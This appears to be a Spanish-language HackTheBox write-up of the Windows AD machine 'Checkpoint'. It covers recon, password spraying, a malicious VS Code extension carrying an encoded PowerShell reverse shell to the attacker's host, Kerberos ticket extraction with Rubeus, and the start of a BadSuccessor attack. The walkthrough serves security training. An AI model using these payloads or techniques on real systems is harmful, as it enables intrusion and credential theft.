This page looks best with JavaScript enabled

HackTheBox - Checkpoint

Informacion de la Maquina

En Checkpoint identificamos y restauramos un objeto eliminado para obtener informacion con el colector de Bloodhound. Con la informacion recabada, realizamos Password Spraying para identificar credenciales validas para a un usuario. Identificamos un recurso en samba para este usuario donde aloja extensiones VS Code, creamos una extension maliciosa para la ejecucion de comandos y lograr acceso inicial. Realizamos un ataque de BadSuccessor para el acceso a un nuevo usuario. Finalmente escalamos privilegios tras extraer credenciales en un volcado de memoria.

La descripcion de la maquina emula una situacion “real” de un pentest proporcionando credenciales.

As is common in real life pentests, you will start the Checkpoint box with credentials for the following account alex.turner / Checkpoint2024!

Nombre Checkpoint
OS

Windows

Puntos Retired
Dificultad Medium
Fecha de Salida 2026-06-13
IP 10.129.114.122
Maker

AnuragTaparia

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [86, 42, 276, 650, 1069, 784, 606, 218, 65, 109],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra múltiples puertos abiertos : dns (53), kerberos (88), rpc (135), ldap (389), samba (445) y winrm (5985).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# Nmap 7.99 scan initiated Tue Jun 16 01:31:50 2026 as: /usr/lib/nmap/nmap --privileged -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49668,49669,49679,49680,49683,49710,49719 -sV -sC -oN nmap_scan 10.129.114.122
Nmap scan report for 10.129.114.122
Host is up (0.26s latency).

PORT      STATE SERVICE           VERSION
53/tcp    open  domain            Simple DNS Plus
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2026-06-16 12:31:58Z)
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
3269/tcp  open  globalcatLDAPssl?
5985/tcp  open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf            .NET Message Framing
49664/tcp open  msrpc             Microsoft Windows RPC
49668/tcp open  msrpc             Microsoft Windows RPC
49669/tcp open  msrpc             Microsoft Windows RPC
49679/tcp open  msrpc             Microsoft Windows RPC
49680/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
49683/tcp open  msrpc             Microsoft Windows RPC
49710/tcp open  msrpc             Microsoft Windows RPC
49719/tcp open  msrpc             Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-06-16T12:32:51
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
|_clock-skew: 6h59m59s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 16 01:33:40 2026 -- 1 IP address (1 host up) scanned in 110.15 seconds

# Nmap 7.99 scan initiated Tue Jun 16 01:30:49 2026 as: /usr/lib/nmap/nmap -sU -sVC --min-rate 10000 -oN nmap_scan_udp 10.129.114.122
Nmap scan report for 10.129.114.122
Host is up (0.26s latency).
Not shown: 997 open|filtered udp ports (no-response)
PORT    STATE SERVICE      VERSION
53/udp  open  domain       Simple DNS Plus
88/udp  open  kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-16 12:30:51Z)
123/udp open  ntp          NTP v3
| ntp-info: 
|_  
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h00m01s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 16 04:59:17 2026 -- 1 IP address (1 host up) scanned in 12508.07 seconds

Agregamos a /etc/hosts: checkpoint.htb.

Service Access

Las credenciales tienen acceso por los servicio smb y ldap.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
❯ netexec ldap checkpoint.htb -u alex.turner -p 'Checkpoint2024!'
LDAP        10.129.114.122  389    DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:checkpoint.htb) (signing:Enforced) (channel binding:No TLS cert) 
LDAP        10.129.114.122  389    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
❯ netexec smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!'
SMB         10.129.114.122  445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.114.122  445    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
❯ faketime "$(ntpdate -q checkpoint.htb | tail -1 | awk '{print $1, $2}')" netexec smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -k
SMB         checkpoint.htb  445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         checkpoint.htb  445    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
❯ faketime "$(ntpdate -q checkpoint.htb | tail -1 | awk '{print $1, $2}')" netexec ldap checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -k
LDAP        checkpoint.htb  389    DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:checkpoint.htb) (signing:Enforced) (channel binding:No TLS cert) 
LDAP        checkpoint.htb  389    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
❯

Generamos el archivo krb5.conf.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ netexec smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --generate-krb5-file file.conf
SMB         10.129.114.122  445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.114.122  445    DC01             [+] krb5 conf saved to: file.conf
SMB         10.129.114.122  445    DC01             [+] Run the following command to use the conf file: export KRB5_CONFIG=file.conf
SMB         10.129.114.122  445    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
❯ cat file.conf
[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = CHECKPOINT.HTB

[realms]
    CHECKPOINT.HTB = {
        kdc = dc01.checkpoint.htb
        admin_server = dc01.checkpoint.htb
        default_domain = checkpoint.htb
    }

[domain_realm]
    .checkpoint.htb = CHECKPOINT.HTB
    checkpoint.htb = CHECKPOINT.HTB
❯ 

SMB

El servicio samba muestra los recursos: DevDrop de solo lectura y WMBackups sin ningun permiso.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
❯ uv run netexec smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --shares
SMB         10.129.114.122  445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.114.122  445    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
SMB         10.129.114.122  445    DC01             [*] Enumerated shares
SMB         10.129.114.122  445    DC01             Share           Permissions            Remark
SMB         10.129.114.122  445    DC01             -----           -----------            ------
SMB         10.129.114.122  445    DC01             ADMIN$                                 Remote Admin
SMB         10.129.114.122  445    DC01             C$                                     Default share
SMB         10.129.114.122  445    DC01             DevDrop         READ                   VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
SMB         10.129.114.122  445    DC01             IPC$            READ                   Remote IPC
SMB         10.129.114.122  445    DC01             NETLOGON        READ                   Logon server share 
SMB         10.129.114.122  445    DC01             SYSVOL          READ                   Logon server share 
SMB         10.129.114.122  445    DC01             VMBackups                              
❯

LDAP - bloodyad

bloodyad muestra que el usuario tiene permisos WRITE sobre varios objetos. Entre ellos un usuario/objeto eliminado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ bloodyad -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -H checkpoint.htb get writable

distinguishedName: CN=Deleted Objects,DC=checkpoint,DC=htb
DACL: WRITE

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: OU=Employees,DC=checkpoint,DC=htb
permission: CREATE_CHILD

distinguishedName: CN=Alex Turner,OU=Employees,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: DC=checkpoint.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=checkpoint,DC=htb
permission: CREATE_CHILD

distinguishedName: DC=_msdcs.checkpoint.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=checkpoint,DC=htb
permission: CREATE_CHILD
❯

Bloodhound

Restore Object

Restauramos este objeto para obtener informacion con collector bloodhound.

1
2
3
❯ bloodyad -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -H checkpoint.htb set restore 'CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb'
[+] CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb has been restored successfully under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb
❯

bloodyad Collector

Ejecutamos el collector con bloodyad.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
❯ bloodyad -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -H checkpoint.htb get bloodhound
[+] Connecting to LDAP server
[+] Connected to LDAP serrver
Dumping schema: 2it [00:01,  1.52it/s]
Generating lookuptable: 107it [00:02, 44.88it/s]
Dumping SDs: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 111/111 [00:30<00:00,  3.67it/s]
Dumping domains: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 1/1 [00:00<00:00,  1.27it/s]
Dumping users: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 18/18 [00:00<00:00, 65.86it/s]
Dumping computers: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 1/1 [00:00<00:00,  3.79it/s]
Dumping groups: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 58/58 [00:00<00:00, 208.74it/s]
Dumping GPOs: 100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 2/2 [00:00<00:00,  7.59it/s]
Dumping OUs: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 8/8 [00:00<00:00, 29.42it/s]
Dumping Containers: 100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 19/19 [00:00<00:00, 66.51it/s]
[+] Bloodhound data saved to 20260616T061929_Bloodhound.zip
[+] Found 0 trusts
❯

Creamos un wordlist con users y computers.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
❯ unzip www/*hound.zip \*_users.json
Archive:  www/20260616T061929_Bloodhound.zip
  inflating: 20260616T061929_users.json  
❯ jq -r '.data[].Properties.name' *users.json | tail -n +2 |  awk '{ print tolower($0) }' | cut -d '@' -f1 > users.txt
zsh: command not found: jq
❯ jq -r '.data[].Properties.name' *users.json | tail -n +2 |  awk '{ print tolower($0) }' | cut -d '@' -f1 > users.txt
❯ wc -l users.txt
17 users.txt
❯ unzip www/\*.zip \*_computers.json
Archive:  www/20260616T061929_Bloodhound.zip
  inflating: 20260616T061929_computers.json  
❯ jq -r '.data[].Properties.name' *computers.json |  awk '{ print tolower($0) }' | cut -d '.' -f1 > computers.txt
❯ wc -l computers.txt
1 computers.txt
❯

Users

Existen 17 usuarios en el dominio.

image

Admins

El grupo de Domain admins tiene dos unicos miembros.

image

Alex Turner

Este tiene permisos write sobre Mark Davies.

image

Ryan Brooks

Este usuario tiene GenericWrite sobre svc_deploy.

image

svc_deploy

Pertenece a los grupos BackupAccess y Remote Manager Users, por lo que puede acceder por WinRM y posiblemente al recurso VMBackups.

image

DevTeam

Tiene tres miembros entre ellos Ryan Brooks.

image

User - Mark Davies

Ejecutamos Password Spraying con el wordlist de usuarios, tenemos acceso como Mark Davies con la misma contrasena.

1
2
3
4
❯ netexec smb checkpoint.htb -u users.txt -p 'Checkpoint2024!' --continue-on-success | grep +
SMB                      10.129.114.122  445    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
SMB                      10.129.114.122  445    DC01             [+] checkpoint.htb\mark.davies:Checkpoint2024! 
❯

La flag --shares permite listar los recursos para este usuario, se especifica lectura y escritura en DevDrop. Tambien, el recurso es para compartir extensiones para VS Code engine 1.118.0 segun la ‘descripcion’.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
❯ netexec smb checkpoint.htb -u mark.davies -p 'Checkpoint2024!' --shares
SMB         10.129.114.122  445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.114.122  445    DC01             [+] checkpoint.htb\mark.davies:Checkpoint2024! 
SMB         10.129.114.122  445    DC01             [*] Enumerated shares
SMB         10.129.114.122  445    DC01             Share           Permissions     Remark
SMB         10.129.114.122  445    DC01             -----           -----------     ------
SMB         10.129.114.122  445    DC01             ADMIN$                          Remote Admin
SMB         10.129.114.122  445    DC01             C$                              Default share
SMB         10.129.114.122  445    DC01             DevDrop         READ,WRITE      VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
SMB         10.129.114.122  445    DC01             IPC$            READ            Remote IPC
SMB         10.129.114.122  445    DC01             NETLOGON        READ            Logon server share 
SMB         10.129.114.122  445    DC01             SYSVOL          READ            Logon server share 
SMB         10.129.114.122  445    DC01             VMBackups                       
❯

Malicious VSCode Extension

Creamos una extension para vscode utilizando yo y vsce. Iniciamos yo eligiendo una extension nueva con Javascript con las opciones por default.

1
2
3
4
# sudo apt install npm nodejs
npm install -g yo @vscode/vsce
# New Extension
yo code

Editamos el archivo package.json para tener una extension basica especificando version ^1.118.0 y activationEvents.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
{
  "name": "malext-htb",
  "displayName": "malext",
  "description": "malext-htb",
  "version": "0.1.1",
  "engines": {
    "vscode": "^1.118.0"
  },
  "categories": [
    "Other"
  ],
  "activationEvents": ["*"],
  "main": "./extension.js"
}

En extension.js agregamos la ejecucion de ping.

1
2
3
4
5
6
7
8
9
const { exec } = require('child_process');

function activate() {
    exec('ping 10.10.14.25');
}

function deactivate() {}

module.exports = { activate, deactivate };

‘Compilamos’ la extension con vsce.

1
2
3
npm run compile
echo "1" > README.md
yes | vsce package --no-dependencies --allow-star-activation

Se creo el archivo malext-htb-0.1.1.vsix.

1
2
3
4
5
6
7
❯ yes | vsce package --no-dependencies --allow-star-activation
 WARNING  A 'repository' field is missing from the 'package.json' manifest file.
Do you want to continue? [y/N] y
 WARNING  LICENSE.md, LICENSE.txt or LICENSE not found
Do you want to continue? [y/N] y
 DONE  Packaged: /home/kali/htb/checkpoint/malext/malext-htb-0.1.1.vsix (6 files, 1.93KB)
❯

Agregamos este ultimo al recurso DevDrop.

1
2
3
4
5
❯ smbclient \\\\checkpoint.htb\\DevDrop -U 'mark.davies%Checkpoint2024!'
Try "help" to get a list of possible commands.
smb: \> put malext-htb-0.1.1.vsix 
putting file malext-htb-0.1.1.vsix as \malext-htb-0.1.1.vsix (2.5 kB/s) (average 2.7 kB/s)
smb: \>

Luego de varios segundo obtuvimos paquetes icmp.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
❯ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
04:26:42.380338 IP checkpoint.htb > 10.10.14.25: ICMP echo request, id 1, seq 1, length 40
04:26:42.381662 IP 10.10.14.25 > checkpoint.htb: ICMP echo reply, id 1, seq 1, length 40
04:26:43.383171 IP checkpoint.htb > 10.10.14.25: ICMP echo request, id 1, seq 2, length 40
04:26:43.383192 IP 10.10.14.25 > checkpoint.htb: ICMP echo reply, id 1, seq 2, length 40
04:26:44.386299 IP checkpoint.htb > 10.10.14.25: ICMP echo request, id 1, seq 3, length 40
04:26:44.386317 IP 10.10.14.25 > checkpoint.htb: ICMP echo reply, id 1, seq 3, length 40
04:26:45.389309 IP checkpoint.htb > 10.10.14.25: ICMP echo request, id 1, seq 4, length 40
04:26:45.389326 IP 10.10.14.25 > checkpoint.htb: ICMP echo reply, id 1, seq 4, length 40

User - Ryan Brooks

Creamos una nueva extension agregando una shell inversa.

1
2
3
4
5
6
7
8
9
const { exec } = require('child_process');

function activate() {
    exec('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMgA1ACIALAAxADMAMwA1ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==');
}

function deactivate() {}

module.exports = { activate, deactivate };

Tras subirla logramos el acceso como ryan.brooks y realizamos la lectura de la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.25] from checkpoint.htb [10.129.114.122] 55622
PS C:\Program Files\Microsoft VS Code> whoami
checkpoint\ryan.brooks
PS C:\Program Files\Microsoft VS Code> dir C:/Users/ryan.brooks/desktop


    Directory: C:\Users\ryan.brooks\desktop


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-ar---         6/16/2026   4:59 AM             34 user.txt                                                             


PS C:\Program Files\Microsoft VS Code> cat C:/Users/ryan.brooks/desktop/user.txt
92e4df2d15a1953aa370d6e69e3f3920
PS C:\Program Files\Microsoft VS Code>

VSCode - script

Tras el acceso, se identifico el script vscodesync.ps1 que instala extensiones e inicia vscode.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
PS C:\Scripts> cat vscodesync.ps1
# This is a human written script kek
$log         = "C:\Scripts\vscodesync.log"
$shareDir    = "C:\Shares\DevDrop"
$codeCli     = "C:\Program Files\Microsoft VS Code\bin\code.cmd"
$codeExe     = "C:\Program Files\Microsoft VS Code\Code.exe"

function Log($msg) {
    Add-Content $log "$(Get-Date) - $msg"
}

Log "Cycle started"

# Get all extensions and check files
$resolvedShare = (Resolve-Path -LiteralPath $shareDir).ProviderPath
$vsixFiles = Get-ChildItem -LiteralPath $resolvedShare -Filter *.vsix -File -ErrorAction SilentlyContinue |
    Where-Object {
        $_.FullName.StartsWith($resolvedShare, [StringComparison]::OrdinalIgnoreCase) -and
        -not ($_.Attributes -band [IO.FileAttributes]::ReparsePoint) -and
        $_.Extension -ieq '.vsix' -and
        $_.Length -gt 0
    }
if (-not $vsixFiles) {
    Log "No vsix files found in $resolvedShare"
}
else {
    Log "Found $($vsixFiles.Count) vsix file(s): $($vsixFiles.Name -join ', ')"

    foreach ($vsix in $vsixFiles) {
        Log "Installing $($vsix.Name) (size: $($vsix.Length) bytes)"
        try {
            $output = & $codeCli --install-extension $vsix.FullName --force 2>&1
            Log "Install output: $($output -join ' | ')"
        }
        catch {
            Log "Install FAILED for $($vsix.Name): $_"
        }
        Start-Sleep -Seconds 2
    }
}

# start new instance
Log "Launching new VS Code window"
Start-Process -FilePath $codeExe -ArgumentList "--no-sandbox"

Log "Cycle complete"
PS C:\Scripts>

Get Ticket

No tenemos las credenciales para ryan.brooks por lo que obtuvimos un ticket con tgtdeleg de Rubeus.exe.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PS C:\users\ryan.brooks\documents> ./Rubeus.exe tgtdeleg /nowrap

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3 


[*] Action: Request Fake Delegation TGT (current user)

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC01.checkpoint.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: H3/5E+S3FnbB+t224nMXLno3FCjGg5qnwJTMLxAZ2/Y=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

      doIF1DCCBdCgAwIBBaEDAgEWooIE0DCCBMxhggTIMIIExKADAgEFoRAbDkNIRUNLUE9JTlQuSFRCoiMwIaADAgECoRowGBsGa3JidGd0Gw5DSEVDS1BPSU5ULkhUQqOCBIQwggSAoAMCARKhAwIBAqKCBHIEggRu/Mzuneuu3bPe356Kk0QVuGrHdOe/JuRbT7pJW39oUn0JUKPoyO9qn/b8i+9PbMnmo5ARGRzAwg0+fpkzjbApwZfYOlihUawfnYyWjStOqAroNkGHnUQ3BblAApGqiVfI9E7w4+18yEINY493HtHUiFBjSDc8vcGNCiyv+zzMZ3fka5MZAraqNn1NBqMCEfMhWQOYR3IGMATfhIS3/A6/sZmDE4RpNwMCMrSGMIHZppdNqB73YoUIz8QdqtxU8DCPvvjWp4oWLdhJeu/lYG9JV0Jk7FLAZxORo3po1lw/Wp+rUhpT+uJgvEhKU6dUcwa5TzT3k0NHOp0UlErDYq23RNoGVDTeDmRxcyi/B/59fUcEbhRIon0jAb+QH65JNXpRUoI8UeSmhPAjPFo33tSN0MCAulssVXJzBHyRTgKQ+LkWuo95cPinoHrpGvdaAuSzmj5jShZjptasum4Dyj1DKHxTUhACHG/MpV7ospE7oAE7qFbn6960OrqLBuTfbxzUin9ZEOD4pNtEUBiH0PCTV9YFAgmgtUCdclK8BdlRpf8vQF8g8z2FfYTWL1XzEU+1hfqwgx42IZ8ivrbyiLuQzQHiB1x523JzbEIc34mzdZjcQOgz/46W2y7ox4UsSwy+jh9irs2+b6GrJ8FrAsFnKu/j+o5Mpp5Zaz05rL1+ZFH8TsrbMUs1nDPKl3kyfsOGoYoPnGz5vM6gljUDfLm0NNo7HFjW3TyUTEs5UZmFFJ/W6vgRBj8rjIVh+nAH8A52BxMOpx6g7XYvsBDJtSoXd+gdhhju3+nAdH1F7Bg/mE1HzUeO1Gw+k/wVk6s1/YqvKrTLgfFMEIR+hzjNHgCIdXr8Qs/we7czjZp/NcD1tWi+Boz5VIOab3x+/mF6kwa0tudp6TcIPYKRQwpUL5wZU27GC1mIDoE3tGdZm429o7UQUt1YlLS4W5wn66n9p+cQyFcun6ijFeu+o63smJEJE0h2ZbfpxYKSnkNGT3FA0oxQ0+B3X4BDoTkHowbTsziX0wfYEXQNwhXtd+HFmRP6umJwLqdAEuZGAJsp6ZzPq6Udy2BC8k/Ul3gnUeq656JlGj+iMfzekDzvS79u9825Ko3yT5TY8WSE03OI5BwhbeWmkMmvdSZsDRPcv22YL84YNHjGuYCTb+0zhFZe+qtbb0aQ51YwDLLZ0Sfvzin0wXWp2XWjr9bIXXMp6TkbdgRKiwjCSiI3UAHyJBHwo6u8PC2wImgIM1miTfUw7bX+IF1vQsaUTbd4aqX/znPygYnnPl+d79Zli1T9C6r1ZDQp7GlahSh4ZxfR/tYy7wqK5d4ctyO2xbttN1NaKHNtyswJD09O0MZ2Ltzj7Ysq+/hFXq2XinjvfZJK4wS0hI6d5dh17jgM+7g9HlNfvIS3uuSXnFL0DZEuseVw2anMXZmrnROv7hu2H18MFCFftAx/znB0hqhiA+I21hmYqJKi74z65KnAT0vAnhF6MGZ0X/6jB+Rfj7C3dxB8wF0jeSbfo4HvMIHsoAMCAQCigeQEgeF9gd4wgduggdgwgdUwgdKgKzApoAMCARKhIgQgRaSIywgS8Tmc1B/Gpaa6ezEDlfJGg9sLfVp3QAQ9kqmhEBsOQ0hFQ0tQT0lOVC5IVEKiGDAWoAMCAQGhDzANGwtyeWFuLmJyb29rc6MHAwUAYKEAAKURGA8yMDI2MDYxNzEwNDEyMVqmERgPMjAyNjA2MTcyMDQxMjFapxEYDzIwMjYwNjI0MTA0MTIxWqgQGw5DSEVDS1BPSU5ULkhUQqkjMCGgAwIBAqEaMBgbBmtyYnRndBsOQ0hFQ0tQT0lOVC5IVEI=
PS C:\users\ryan.brooks\documents>

Convertimos con impacket-ticketConverter y asignamos la variable KRB5CCNAME al archivo.

1
2
3
4
5
6
7
8
❯ echo "doIF1DCCB[.. cut ...]C5IVEI=" |base64 -d > ticket.kirbi
❯ impacket-ticketConverter ticket.kirbi ticket.ccache
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] converting kirbi to ccache...
[+] done
❯ export KRB5CCNAME=ticket.ccache
❯

Permissions

Eenumeramos los permisos con bloodyad. El resultado muestra el permiso CREATE_CHILD sobre OU=DMSAHolder y WRITE sobre CN=svc_deploy,OU=ServiceAccounts. El primero permite crear objetos hijo dentro de la OU, mientras que el segundo permite modificar propiedades del objeto svc_deploy. Esta combinación nos llevo a la posibilidad de explotar BadSuccessor, una tecnica de escalada de privilegios que abusa de las delegated Managed Service Accounts (dMSA). En este caso, aprovechamos estos permisos para crear una dMSA dentro de OU=DMSAHolder y configurarla para que suceda a svc_deploy.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
❯ faketime "$(ntpdate -q checkpoint.htb | cut -d ' ' -f 1,2)" bloodyad -d checkpoint.htb -H dc01.checkpoint.htb -k --dc-ip 10.129.114.122 get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: OU=DMSAHolder,DC=checkpoint,DC=htb
permission: CREATE_CHILD

distinguishedName: CN=Ryan Brooks,OU=Employees,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: DC=checkpoint.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=checkpoint,DC=htb
